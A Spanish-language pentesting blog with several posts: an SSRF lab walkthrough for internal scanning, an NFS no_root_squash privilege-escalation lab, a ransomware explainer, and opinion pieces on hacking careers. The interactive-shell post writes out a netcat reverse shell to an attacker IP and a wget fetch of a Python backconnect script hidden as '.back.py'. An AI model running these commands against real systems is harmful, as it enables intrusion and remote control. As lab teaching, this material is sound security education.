viernes, 20 de abril de 2018

SSRF - una de las clasicas

Esta semana ha sido un poco jodido, debido a que realice un update a mi kernel en linux y perdí entre tantas cosas mi acceso a mis virtuales, bueno realmente quería realizar un upgrade total a mis sistemas operativos en dual boot, asi que no hay mejor oportunidad que esta para darle de baja a mis SO, el problema es la cantidad de data que tengo almacenada, que ya van 2 dias en migración a otro disco duro.


Bueno al punto, ¿que es SSRF site server remote forgery?, similar a su primo hermano CSRF, permite mediante la modificación de una funcionalidad, mal configurada, manipular los datos entrantes para servir como una especie de pivoteo hacia todo lo que este dispositivo tenga en su "route table".
Para entender gráficamente:

Que es lo que se logra, mediante un servidor vulnerable, permitir desde barrer (sweep ping) los servidores internos, interactuar con ciertos puertos y hasta lograr ataques con xss, sqli, xxe, xpath, etc, siempre y cuando los servidores expuestos, tenga esta vulnerabilidad, interesante no?
veamos:
voy a simular tener un servidor con la vulnerabilidad SSRF:
ip ssrf:192.168.0.102(ssh:10222,http:80)
dentro de su  red tengo conectado otros servidores, que podrian no estas expuestos en un inicio:
ip expuesto:192.168.0.112.
Bien comenzemos:

servidor que permite proyector una imagen dede un sitio remoto, poniendo la ruta de la imagen.
Proxiamos con burp el request y lo modificamos el puerto por un valor 10222.

Ahora para explicar un poco, el puerto 10222, lo configure en el mismo servidor vulnerable(192.168.0.102), el cual corresponde al servicio SSH, veamos el resultado, dice "SSH-2.0-OpenSSH ...", que quiere decir, que es como si mandaramos un netcat al puerto SSH y ahora ponemos nuestra emogi de "ohhh".
Como ven , se esta permitiendo interactuar con otros puertos, veamos ahora interamos usar este servidor para localizar otros servidores, logicamente, recordemos que es un esquema de laboratorio, asi que tendre otro servidor expuesto, como si fuera un servidor en la DMZ.

Lo que hago aca, es cambiar los ultimos digitos de la red 192.168.11x en un rango del 0 a 9, es decir:
recorrer 192.168.0.110, 192.168.0.111 .... 192.168.0.109, tratando de localizar un ojetivo interno.
Si validamos la respuesta del host "192.168.0.110" , dice claramente "no route to host"
Veamos ahora la respuesta con un host activo:
Se nota la diferencia, como ven la diferencia esta siempre en la respuesta, siempre cuando se fuzzea algun parámetro, es importante validar la respuesta.
Ahora tenemos al host, veamos sus puertos abiertos:
Si notan, ahora recorremos los puertos mas conocidos, para mi ejemplo, 22,23,80,443, veamos la respuesta en el puerto 23, dice "connetion refused", pero ahora veamos que paso con un puerto abierto:

Notan que la respuesta no arroja el mismo mensaje, entonces ya tenemos un puerto abierto, perfecto, ahora hagamos reconocimiento a directorios o archivos  mas conocidos en una app web, empezemos:
Como se nota, estamos recorriendo los siguientes directorios o archivos mas conocidos: admin, manager, cgi-bin, veamos la respuesta: claramente vemos un mensaje de cabecera "404" que indica eso que no encuentra el directorio, veamos que pasa si lo encuentra:
Como ven, ahora sale un mensaje "403", de prohibido, el cual nos permite deducir que si existe el directorio pero por reglas en el apache, no es posible el acceso.

Que posible solución podriamos tener, quizas el uso de CORS que permite tener una politica como "same-origen", el uso de listas blancas podria ser tambien funcional.
Bueno por el momento fin del post.


jueves, 29 de marzo de 2018

Copytesters!

Dicen que en la competencia esta el gusto, claro el gusto de ser mas competitivo cada día.
Últimamente veo en linkedin mucha gente que con una facilidad increíble, se ponen como titulo, "pentester" o "hacker etico" o "consultor experto en seguridad informática" o mas graciosos aun, "risk advisory pentester maximum" (no es broma).
La verdad yo mañana me puedo poner "astronauta de la nasa" y no pasa nada, estos tags como que te los puedes ganar o los puedes inventar, la idea es vender al fin y al cabo, como sea, pero se vende.

El punto es cuando esta competencia se torna desleal y cuando te tomas en forma literal el hecho de "vender por vender", fuera de abaratar los precios con avisos como "somos los mas bajos en el mercado"(como si los conocimientos fueron los mas bajos que tienes en el mercado), en también realizar pentesting, tratando de efectuar una copia exacta, mismos albunes de Panini bambas.

Lo simpático es que esta gente, que entiendo tiene limitantes técnicas (espero que alguna vez hagan al menos una diferencia en sus presentaciones y para eso se "estudia"), no tiene la capacidad de leer e interpretar algo ya incluso elaborado, lógicamente por lo primero en mi párrafo.
Encontrarse con estas copias baratas y luego anunciarse como experto pentesting, en lo personal me causa gracia y mas aun si trabajan en multinacionales, con horarios de oficina, muy peinaditos y listos para vender, donde creen que encontraran "hackers" debajo de cada piedra.

Lo bueno de este blog es que me sirve de catarsis.
Hasta la próxima, espero sea pronto.

Escalando privilegios linux/ nfs

Prometí escribir un poco mas, pero bueno por temas de tiempo, entre el trabajo (pentesting) y la familia como que llega la noche o el pequeño tiempo para descansar, lo trato de aprovechar.

Bueno, hace no mucho realizando un reto en particular, me encontré con una forma poco habitual de escalar privilegios a través de nfs, para entender como fue lo que realice pues me atreví a simular este reto en un VM y validar cual es el parámetro que me permitía realizar este escalamiento de privilegios.

Background:

¿Que es nfs?:
"El Network File System (Sistema de archivos de red), o NFS, es un protocolo de nivel de aplicación, según el Modelo OSI. Es utilizado para sistemas de archivos distribuido en un entorno de red de computadoras de área local. Posibilita que distintos sistemas conectados a una misma red accedan a ficheros remotos como si se tratara de locales."
wikipedia

En resumen, da la facilidad de mantener un carpeta compartida, la cual puede ser accedida por distintos sistemas, similar al smb o samba pero focalizado a un propósito.
Para configurar los parametros tenemos la siguiente estructura:
archivo:
/etc/exports
<export> <host1>(<options>) <hostN>(<options>)...

donde para entender lo mejor como funciona hagamos un ejemplo:
/another/exported/directory 192.168.0.3(rw,sync)
Done
/another/exported/directory = al directorio que sera compartido
192.168.0.3 = el host o la red cual esta compartiendo
(rw,sync) = las opciones que tendrá, una sera de ro(read only).

Opción root squash

Entre las opciones ademas de permitir escritura, lectura, existe otras 2 opciones que la acompañan, una es wdelay y la otra es "root_squash, mayores detalles aqui
Que dice esta opción ultima en particular:
Previene que los usuarios en modo root conectado de forma remota pueden conservar sus mismos privilegios y se les asigna un id de usuario para el usuario nfsnobody:
Veamos en forma practica:

Primero identificamos si este protocolo esta activo y cual es la carpeta que se esta compartiendo:


Carpeta compartida y red cual se esta compartiendo

Ahora validemos que parámetros están activos en el servidor remoto, como vemos se permite lectura y escritura.

Montemos sobre es carpeta y creamos un archivo a ver que pasa:
Creamos la carpeta "compartido", montamos y creamos el archivo hola.txt

Nosotros podemos validar que el archivo ha sido creado con permisos de root:root(ya que nuestro usuario es root).
Ahora validemos en el servidor remoto los permisos del archivo creado creada:
permisos de archivo

perfecto no "heredo" los permisos de root, veamos que pasa si quitamos ese parámetro:
Cambio de parámetro

Reiniciamos el servicio en el host remoto y volvamos a compartir:

creación de archivo

Ahora volvemos a validar los permisos, pero desde el usuario sin privilegios:

permisos para root root.


Como vemos, hemos podido crear un archivo remotamente con permisos "heredados"(se que ciertamente no es la palabra técnica, pero ayuda a entender que paso), con usuario "root" y en el grupo "root".
¿Ahora que se les ocurre?


domingo, 31 de diciembre de 2017

Cierre 2017 retos 2018

El año 2017, ha sido un buen año en lo profesional, pero también un año que no olvidare en lo personal.
Aun tengo una espina profesional que sacarme pero ya estoy enrrumbado a que de una vez se termine mi calvario de casi un año.
Que dejo el 2017 en lo profesional:
- Una certificación al %90
- Mis skill en hacking aumentaron (aprendí muchas cosas, resolviendo por ejemplo Hack the box y enfrentando a nuevas tecnologias)
- He comenzado con mayor afluencia a realizar analisis de app, las cuales me parecen un gran reto, porque te enfrentas a lo que un desarrollar realiza, desde como informaticamente desea prevenir ataques, hasta como a nivel de funcionalidades propias del app, te permiten obtener informacion o realizar tareas no previstas y también el tema de manejo y ruptura reglas de negocio, quizás un buen año para empezar en estos menesteres.
- He notado mayor compromiso de nuestro Team (Open Sec) a mejorar y colaborar entre nosotros.
- Obtuve un par de trabajos como instructor para empresas internacionales, espero que empecemos el 2018 con fuerza en estos temas.
Que retos par el 2018:
- A principios de año lograr la certificación
- Viajar a BH o Defcon o ekoparty, va ser interesante conocer sobre todo los 2 primeros
- Empezar a estudiar para una certificación como CISSP, algo relacionado temas de gestión.
- Mejorar mi speech no técnico(contra el cliente), me cuesta como a cualquiera que es bastante técnico.
- Empezar con el dictado de cursos internacionalmente
- Meterme a analizar app mas profundamente.
- Comenzar con algún proyecto personal(profesionalmente), aunque esto creo que aun tenga que esperar, pero sera antes del 2020.
- Tener mas post en mi blog

Bueno espero que todo esto se realice y agradezco mucho a mi Team en especial a Oscar Martinez y Walter Cuestas, porque la transmisión de conocimientos ha sido increíble este 2017.

Feliz año a todos.

Happy Hunting!
0pensec rlz!

sábado, 30 de diciembre de 2017

SHELL INTERACTIVA

SHELL INTERACTIVA

Escribiendo desde la comodidad de mi casa, un día sabado 30/12/17, no podre decir  "descansando", porque ando revisando algunas vulnerabilidades.

Hace 1 mes aprox, estábamos realizados tareas en un proyecto de pentesting, siempre la primera parte de reconocimiento suele ser tediosa y mas aun si los equipos a evaluar son críticos, trabajos de madrugada y horas de horas buscando algo relevante entre las pruebas.
Bueno entre tanta búsqueda y luego llegando a la etapa de escaneo de vulnerabilidades, al realizar el trabajo con herramientas automatizadas, nos arroja un titulo un rojo, la cual en un inicio te da a levantar la mirada y decir bueno a validar que no se trata de un falso positivo.
La alerta que me arrojo era con el siguiente titulo "Oracle WebLogic Java Object Deserialization RCE", interesante, mas que todo por lo que se puede hacer, un muy sugerente RCE(remote control execution). algo general para entender la vulnerabilidad: la "serialization" y "deserialization", es el proceso donde la data pasa a binario y viceversa, y esta vulnerabilidad se da por que una de las librerías en el proceso de reconversión (deserializar) no valida adecuadamente la entrada, dando posibilidad a un atacante de insertar código bien intencionado (lo digo para bien del atacante :D).
Entonces pasamos esas fechas y llegamos a la etapa de comprobación donde buscando alguna fuentes de exploit públicos, nos topamos con una que realizaba esta tarea de inyección de código remoto y boila, teníamos la shell a través de una conexión reversa. Al obtener esto tipo de shell, sea a través de una webshell o algún exploit que genere conexión reversa , se suele tener una consola que no es de gran ayuda, es decir no puedes realizar con facilidad el uso de atajos que trae una consola sea de linux o de windows.
Para tener mejor idea vamos a las pruebas.

ESQUEMA DE LABORATORIO

Tenemos una aplicación que se permite insertar un Remote File Inclusion (RFI)
Tener en cuenta lo siguiente:
IP ATACANTE:192.168.0.115
IP VICTIMA:192.168.0.110

1) Para los que se olvidaron que es RFI, en un parámetro del sistema, podemos insertar una ruta hacia un servidor remoto, en el cual estará esperando una "webshell". El sistema permite interpretar esta webshell y ejecutar comando en el sistema vulnerado.


vista del contenido de una webshell, ejecutamos ese archivo y agregamos un parámetro "cmd", para ejecución de comando en sistema
2) En el servidor del atacante, mediante el uso de un demonio web, ponemos el archivo y ejecutamos remotamente, y en el parametro "cmd", ejecutamos un "ls" --> listeo

3)Ya despues de la prueba de concepto, realizamos una "shell reversa" para tomar control del dispositivo mediante el uso de "netcat"
  • El atacante: nc -lvp 4444
  • La victima: nc <ip del atacante> -e /bin/bash
Shell reversa en victima
Puerto en escucha del atacante

4) obtenemos una shell con el usuario www-data, grupo www-data, pero aca les reto a realizar tareas como autocompletado, verán que es no resulta, entonces en este punto es donde podriamos tener en cuenta el uso de una "shell interactiva" para mayor comodidad
5) Antes de ir a ese punto, realizamos un pty( utilidades en speudo terminal) reverse shell en python, para no entrar en mayores detalles:
Llegamos a ver la consola original, pero aun si los atajos
6) Ahora salimos de la consola con "ctrl"+"z" y realizamos en siguiente comando:

donde: 
stty = nuestra o cambia la caracteristicas del terminal
raw = las salidas y entradas no son procesadas, solo se envian, no te permite salir con "ctrl +c " por ejemplo.
-echo = deshabilitas el uso de entrada de caracteres en echo
fg = reunadas trabajos suspendidos

7) De esta forma, podemos tener una shell interactiva, hagan la prueba.

Podemos hacer las cosas mas simples, si, podemos realizar los mismo con python veamos:

1)  podemos descargar del siguiente enlace lo siguiente:
https://github.com/infodox/python-pty-shells




2)Ahora modificamos el archivo "tcp_pty_backconnect.py", con la ip y puerto del atacante.
3) luego en la victima subimos el archivo "tcp_pty_backconnect.py" puede ser en el directorio "/tmp/" o en el directorio "/dev/shm" que ambos me permiten ejecución.
Con wget descargo el archivo remotamente desde el atacante y lo renombro el archivo ".back.py"
4) luego en el atacante ejecutamos el archivo "tcp_pty_shell_handler.py":
python tcp_pty_shell_handler.py -b <ip atacante:puerto>

5) Y luego en el servidor remoto ejecutemos con python el archivo ".back.py"

7) Ahora les reto a que uds me indiquen que paso :D.

Hasta una próxima entrada.

lunes, 13 de noviembre de 2017

¿Donde estudiar hacking?

Ante tanto afán de "n" institutos virtuales y reales por tener en su currícula los cursos famosos como "ethical hacking" o "seguridad ofensiva" , "Cyberseguridad ofensiva", "carrera de cyberseguridad" etc etc, que al final en algunos casos quieren decir lo mismo.
Creo que muchos se preguntan por donde debo comenzar, donde puedo estudiar y que debo conocer.
Leyendo algunos interesantes artículos me encontré con uno en particular, que ciertamente es claro y conciso. Debo mencionar que no es de mi autoría, pero de tanto buscar en español y de tanta discución, me parece el camino correcto a decidir por algún curso, sea por internet o en modo presencial:
¿Donde debo estudiar para ser un hacker?No existe alguna academia o centro de estudios que te preparen para serlo, como siempre he repetido, 4 cosas importantes: persistencia, curiosidad, disciplina y ser autodidacta al %99.999, si no tienes esas cualidades dedicate a otra cosa.
¿Entonces no debo estudiar nada profesional?Pues no, es muy importante afianzar tus conocimientos con bases, tener alguna carrera a fin, el cual te pueda ayudar a entender criterios básicos de la informática.
¿Que carreras?Quizas las carreras mas relacionadas son ingeniera informática y ciencias de la computación, pero tampoco estudiar estas carreras te garantizan que realmente tengas buenos fundamentos, ya que depende realmente tu disposición a aplicar, practicar y por consecuencia llegar a entender ciertos criterios elementales, por otro lado también existen carreras técnicas que tienen mallas bien estructuradas que te dan alcance a conocimientos “básicos” de informática.

¿Que debo conocer ?
La verdad esta pregunta puede ser muy compleja, ya que el denominativo de “hacker” no solo se centra en ser un programador y menos uno bueno, ser hacker realmente puede ser dominar algún sistema que tenga alguna lógica o mecanismo de funcionamiento sea física o digital de ahi la proveniencia en su terminología.

¿Entonces no debo ser programador?
Si en parte, pero eso no quita a poder “entender la lógica de los algoritmos”, ya sea en programación basado en objetos o en algo tan crudo como el assembler y sobre todo tener “el perfil de un desarrollador”.

¿Que deseo ser?
Si quieres realmente verlo desde perfil PROFESIONAL, acá debo aclarar antes algunas cosas:
Preguntas clásicas de los “Script-kiddies o niños ratas” : ¿como hackeo el facebook?¿como hackeo el correo?¿como entro al wifi del vecino?

Preguntas o afirmaciones de un delincuente informático:”¿Donde encuentro base de datos de tal sitio?”, ¿alguien que me hackee tal cuenta ...?, desde el perfil atacante(delicuente medio profesional):¡Quiero adquirir servicios para una botnet!, Necesito algún crypter o packer para mi malware, ¿encoders para tal entrada en raw de mi BO? etc.
Preguntas de researcher o investigador:”problemas con el error … en mi Line code ...”, ¿Como hago un reversing a tal o cual infraestructura?¿Problemas con la modificación del exploit …..? ¿Como realizar un analisis dinámico o estático a tal malware? etc

Preguntas de alguien que pretende ser profesional: ¿Donde encuentro una metodologías para realizar un pentesting?¿Que certificaciones necesito?¿Si llevo un curso de hacking etico de que me debo asegurar?

Sujetándome a la ultima pregunta:

¿Si quiero ser profesional EH, que certificaciones debo tener?En Peru y gran parte de latinoamerica solo pesan las siguientes certificaciones: mile2 http://mile2.com/ , las de eccouncil https://www.eccouncil.org/ , las de Sans institute https://www.sans.org/course/network-penetration-testing-ethical-hacking y las de OF https://www.offensive-security.com/...cp-offensive-security-certified-professional/ , NO MAS.

Certificaciones como ITIL, COBIT, ISC2(CISSP), ISACA(CISA,CISM etc), auditor ISO 27001 u los otros modelos de EVALUACION DE SEGURIDAD DE LA INFORMACION, solo sirven como métricas y son destinados a ser auditores en gestión y administracion(los de saco y corbata que les gusta redactar o discutir horas de horas , si tal política de seguridad llego a mitigar el riesgo X).


¿Si deseo ser profesional EH, donde puedo estudiar?

Ya basado en la anterior pregunta, mi primera mirada seria en el docente:
1)Que tenga las certificaciones validas en el tema, en el Peru, existe tanto charlatan de saco y corbata.

2)Que tenga experiencia laboral en “pentesting” , son pocas las empresas peruanas que se dedican a este rubro así que por ahí quizás sea difícil, alguna mirada al linkedin les pueda dar una pequeña ayuda.

3)Que haya sido expositor en eventos nacionales e internacionales de HACKING, algunos eventos en Peru importantes: Peruhack, Limahack(extinto), Inkahack(nuevo pero creo que los organizadores han tenido buena disposición), owasp chapter peru , de ahí sinceramente técnicos técnicos, no existen mas.

En eventos internacionales en América, Ekoparty, Campus Party, Besides international, Dragonjar, (por los años, mas no por los organizadores), 8dot8.

Eventos internacional(top): defcon, Blackhat, rootcon
Y que la institución, que lo auspicia no sea “leticia” o alguna entidad estatal.Lamentablemente el estado no organiza ningún evento de nivel o significativo que de valor al ser parte de ello, por otro lado, existe empresas que se ofertan como conocedores del tema, muchas de ellas internacionales y de nombres los cuales se ganaron con el tiempo, mas no por la calidad de lo que ofrecen, ya que su labor real es ofrecer solo cursos y auspiciar sus propios eventos.

¿Si me certifico en CEH y CPTE, ya soy un hacker?No, en ambas certificaciones el examen son un conjunto de preguntas, que las encuentras en internet y crees que resolviendo preguntas puedes ser un hacker( vuelve a mi primera pregunta/respuesta).
Para mi la mas cercaba a un ámbito real de hacking es la OSCP (los mismos creadores de backtrack y kali), 5 servidores en tal o cual red o subred, hackealos, excelente examen, como debe ser 100% practico y con cierto nivel de complejidad.

Algunos consejos finales(sacados de un blog bastante bueno):
1. Debes aprender Linux, no puedes ser hacker usando solo MS Windows, no seas payaso!

2. Debes aprender Ingles, al menos, de lo contrario, como diablos siquiera leerás un readme ?! Menos pensar en modificar la tool o crear una.

3. Debes tener perfil de desarrollador para llegar a un nivel alto, de lo contrario, estarás limitado a ser un buen profesional (osea, hoy haces hacking, mañana instalas un firewall, pasado eres un gerente sin memoria técnica).

4. Debes leer mucho.

5. Debes investigar mucho.

6. No debes tener horario de oficina.

7. Penetrar no es meterse a un server, es meterse a todos los que puedas incluido el que esta apagado! (medio broma, fácil es un server con wake-on-lan).

8. Debes saber mas que tus toolz.

9. Tus toolz son necesarias, aprende a usarlas bien, cuidalas, quieralas, mejoralas, mandalas al asilo cuando creas que ya son viejas (algún día las podrás recoger para darles un paseito).

10. Aceptalo: tendrás que trabajar en equipo!

martes, 10 de febrero de 2015

Ransomwaring - entendiendo conceptos claves - primera parte







SECUESTRANDO TU PRIVACIDAD
Hace poco a través de un experto en informática @Miguel_Risco_C, me llegó un informe sobre un virus que afecto a su cliente en Lima, se trataba de una nueva variante de virus crypto-ransomwaring denominado cryptowall versión 3.0.
Antes de detallar de qué se trata un cryptolocker y ransomwaring y demás hierbas, entendamos que daños ocasiona.
Ø  Vector de infección:
El vector de infección al parecer había sido sujeto a los famosos adware y spyware a través de anuncios publicitarios vía web, dando hilo al problema se encontró esta nota:
http://www.theregister.co.uk/2014/08/11/cryptowall_malvertising_yahoo_ad_network/
Donde menciona que los malhechores usan Yahoo!'s advertising network, para esparcir el ransomware, aprovechándose de algunos fallos en las actualizaciones de IE.
Luego horas más tarde me llego otro reporte de infección en Lima, otra posible variante del virus denominado CBT-crypto, que era esparcida en forma clásica a través de archivos adjuntos vía correo electrónico.
COMENZANDO A ATERRIZAR ALGUNAS IDEAS:
¿Qué es el ransomwaring?
Este término de Ransomwaring que llego por primera vez el 2012 a través de una conferencia de Macfee como el ataque del futuro, ocasiona el secuestro total de tu dispositivo o data importante de tu dispositivo, suena estremecedor, pero es así sin más ni menos como se entiende.
Ø  ¿Si me infecte que aparece?
Para dar algunos ejemplos miremos el siguiente screenshot una vez ya infectado:



Este pop add propio del CBT – crypto es el similar que del Cryptowall 3.0 y a todos los ransomware-virus, donde si leemos un poco menciona 3 cosas importantes:
-          Tus datos personales han sido encriptados.
-          Para obtener la clave desencriptadora de tus datos tienes que pagar a través de bitcoins (común) u otros medios de pago.
-          Tienes un tiempo limitado para realizar el pago, sino el precio para la clave desencriptadora de tu data será el doble y así progresivamente.

Ø  Aparición de archivos encriptados:
Acá vemos la aparición de archivos encriptados:
CBT-CRYPTO:
                                                    
CRYPTOWALL 3.0:



Ø  Archivos cifrados:

Acá podemos observar un documento en Excel totalmente cifrado:


Ø  ¿Cómo entenderlo mejor?
Sin muchas palabras técnicas, es como que a tu folder de tus datos le hayan puesto una caja con llave, el cual solo el dueño de la caja tiene la llave para poder abrirla.
En ese sentido, la única forma de recuperar tu data es pagando.
HISTOGRAFIA Y DETALLES TÉCNICOS:
Acá ya entro a detallar toda la parte técnica, si tienes interés de cómo solucionarlo al final del artículo.
Ø  Comparativa
Una gran diferencia que se tiene los virus pasados son las siguientes:
-          No roba información de la víctima, en lugar hace que sea imposible acceder a tu información.
-          Una vez infectado no hay antivirus que pueda remover el cifrado, da lo mismo.
-          Usa criptografía conocida y fácil de implementar, el problema es el tipo de criptografía que hace única al propietario.

Ø  Modos comunes de infección:
Acá tenemos cosas clásicas:
-          Spam / Social engineering
-          Direct drive-by-download
-          Drive-by-download a través de malvertising
-          Malware installation tools y botnets
Algunos ransomware-virus desde el 2013 -2015:
-          Dirty Decrypt
-          CryptoLocker
-          CryptoWall / Cryptodefense
-          Critroni / CTB Locker
-          TorrentLocker 
-          Cryptographic Locker

Algunos elementos comunes de estos virus son por ejemplo:
-          Droppers  
-          C&C, servidor comand center
-          encryptacion
-          targeted files types.

Ø  Timeline:


La primera aparición remonta al 2013 para SO Windows, habría que recalcar que la primera aparición de estos “secuestradores virtuales” es a través de SO Android.
Ø  Análisis:
Habría que recalcar que al ser nuevos virus las formas de análisis tradicionales, no tienen demasiada contundencia para elaborar una contramedida, como el uso de ingeniería inversa.
  • Las características de todos estos ransomware – virus son:
  • Usan criptográfica asimétrica (private key y public key), el cual es compartido y firmado a través de un C&C (comand center)
  • Usan un Wincrypto que es un crypto API para cifrar la data.
  • Un esquema de practico de cómo es que después de la infección entra a tallar la criptográfica asimétrica y el roll del C&C (comand center)

  
1)      El agente del virus recolecta datos y los cifra con  AES usando la Kaes.
2)      Ya que se trata de una criptográfica asimétrica usa RSA y la llave publica del C&C para cifrar la llave Kaes
3)      La data y la llave de AES viaja completamente encriptados hacia el C&C
4)      Ya en el C&C tanto la data como la llave Kaes es desencriptadá usando la llave privada del C&C, esta llave es única y lo tiene el atacante.
5)      El C&C genera otro par de claves para seguir encriptando la data.
Como observamos usa protocolos criptográficos ya conocidos pero muy potentes para cifrar y capturar tu data.
Acá algunos screenshoot de la comunicación cifrada con el C&C.



Algo más importante que anotar es el alto grado de ofuscación por capas y covert launch como la creación de procesos en suspensión que tienen estos virus haciendo complicada la labor de detección de los antivirus.
Esta grafica servirá para entender un poco más el proceso:
Si vemos en el peor de los casos puede borrar las “shadows copies” que son copias de restauración por defecto de los archivos en Windows vista para adelante (siempre y cuando esté configurado)
Ø  Dominios y protocolos de comunicación C&C
En el cuadro podemos observar los protocolos comunes de comunicación con el C&C y sus dominios:
Como cosa resaltante es el uso de proxie TOR y HTTPS.



Ø  Tecnología criptográfica
Acá podemos observar las tecnologías criptográficas y desarrollo de APIs de estos virus:
Ø  Costos por rescate
Los costos varían entre $100 a más de $1000 por rescate:


Ø  ¿Y a donde apuntan estos cifrados?
Todo tipo de documentos, imágenes, videos, audio, base de datos, password y certificados managers, software financiero, backup (.bak);

Ø  Si pago que obtengo:
Al realizar el pago tendrás un .txt donde te darán la clave para poder desencriptar tu data:


UNA VEZ INFECTADO ¿QUÉ HAGO?
Antes de llegar a este punto recomendaría tomar siempre en cuentas las medidas comunes para no infectarse:
-          Uso de antivirus recomendados
-          No abrir archivos adjuntos en correos electrónicos dudosos.
-          No insertar USB sin previa limpieza.
-          Cuidado a donde exploras.
-          Actualizar tu navegador y sistema operativ

SSI YA ME INFECTE:
  • Consultar a un experto.
  • No usar software para recuperación de archivos comunes, ya que estos pueden empeorar la situación.
  •  El tiempo de rescate es vital.

Justo en esta última recomendación me detengo y explico:
v  Tu data ya cifrada es irrecuperable, (acá hay criptologos trabajando puede demorar desde días hasta años en descubrir la clave y por las características técnicas es casi imposible).
v  Puedes usar herramientas como shadown explorer para encontrar puntos de restauración y grabado por defecto de tus archivos y como entenderás dependerá mucho del punto de tiempo en el cual se grabaron tus archivos, así que el porcentaje de recuperación es cuestión de suerte.
Como usar “el shadown explorer”, te dejo es video:
¿QUE MÁS PUEDO Y DEBO HACER?
Acá un excelente artículo escrito en softonic (irónicamente uno de los máximos esparcidoras de spyware):
Escrito por Alexis torres pardo, Docente y Consultor en seguridad informática.
Twitter: @dUn_h4t